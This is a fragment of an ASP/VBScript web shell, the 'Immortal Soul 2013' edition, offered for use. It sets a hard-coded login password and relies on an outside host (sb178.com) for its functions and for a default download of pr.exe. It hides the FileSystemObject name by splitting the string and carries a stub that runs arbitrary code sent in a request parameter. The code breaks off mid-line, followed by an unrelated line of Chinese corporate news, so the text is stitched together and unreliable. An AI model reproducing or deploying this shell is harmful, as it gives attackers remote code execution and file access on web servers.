<%@ LANGUAGE = VBScript.Encode %><%
Server.ScriptTimeout=999999999
UserPass="xiaoleyl" '密碼
mNametitle ="不滅之魂2013改進版本" ' 標題
Copyright=" " '版權
SItEuRl="http://sb178.com/" '你的網站
bg ="http://sb178.com/bg/1.jpg" '背景圖片,不使用留空
ysjb=true '是否有拖動效果,true為是,false為否
htp="http://sb178.com/web/" '功能地址，不可更改，否則導致大部分依靠在線服務不能運行
durl="http://sb178.com//web/pr.exe" '默認下載文件地址
'---------------------------------------------------------------------------------------
'不滅之魂
'2013改進程序
'本程序無任何后門，如有改動請勿使用,有任何疑問；建議意見請聯系EMAIL：[email protected]
'----------------------------------------------------------------------------------------
Response.Buffer =true
BodyColor="#006000"
FontColor="#006000"
LinkColor="#006000"
On Error Resume Next
strBAD="If Request(""#"")<>"""" Then Session(""#"")=Request(""#"")"&VbNewLine
strBAD=strBAD&"If Session(""#"")<>"""" Then Execute(Session(""#""))"
Const DEfd=""
sub ShowErr()
If Err Then
j" " & Err.Description & " "
Err.Clear:Response.Flush
End If
end sub
Sub j(str)
response.write(str)
End Sub
sub RaPath(s)
RaPath=ExecuteGlobal(s)
End sub
Function RePath(S)
RePath=Replace(S,"\","\\")
End Function
Function RRePath(S)
RRePath=Replace(S,"\\","\")
End Function
URL=Request.ServerVariables("URL")
ScriptPath=Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))
ServerIP=Request.ServerVariables("LOCAL_ADDR")
Action=Request("Action")
RootPath=Server.MapPath(".")
WWWRoot=Server.MapPath("/")
CONST_FSO="Script"&"ing.Fil"&"eSyst"&"emObject"
FolderPath=Request("FolderPath")
u=request.servervariables("http_host")&url
domain=Request.ServerVariables("http_host")
FName=Request("FName")
cdx="
":cxd="8":ef="
"
set fso=server.CreateObject(CONST_FSO)
set fsoX=server.CreateObject(CONST_FSO)
str1="http://"&Request.ServerVariables("SERVER_Name")& left(Request.ServerVariables("URL"),InstrRev(Request.ServerVariables("URL"),"/")):BackUrl="
我司總經理李美斌出席了安防產品強制性產品認證實施規則及細則宣貫會（上海）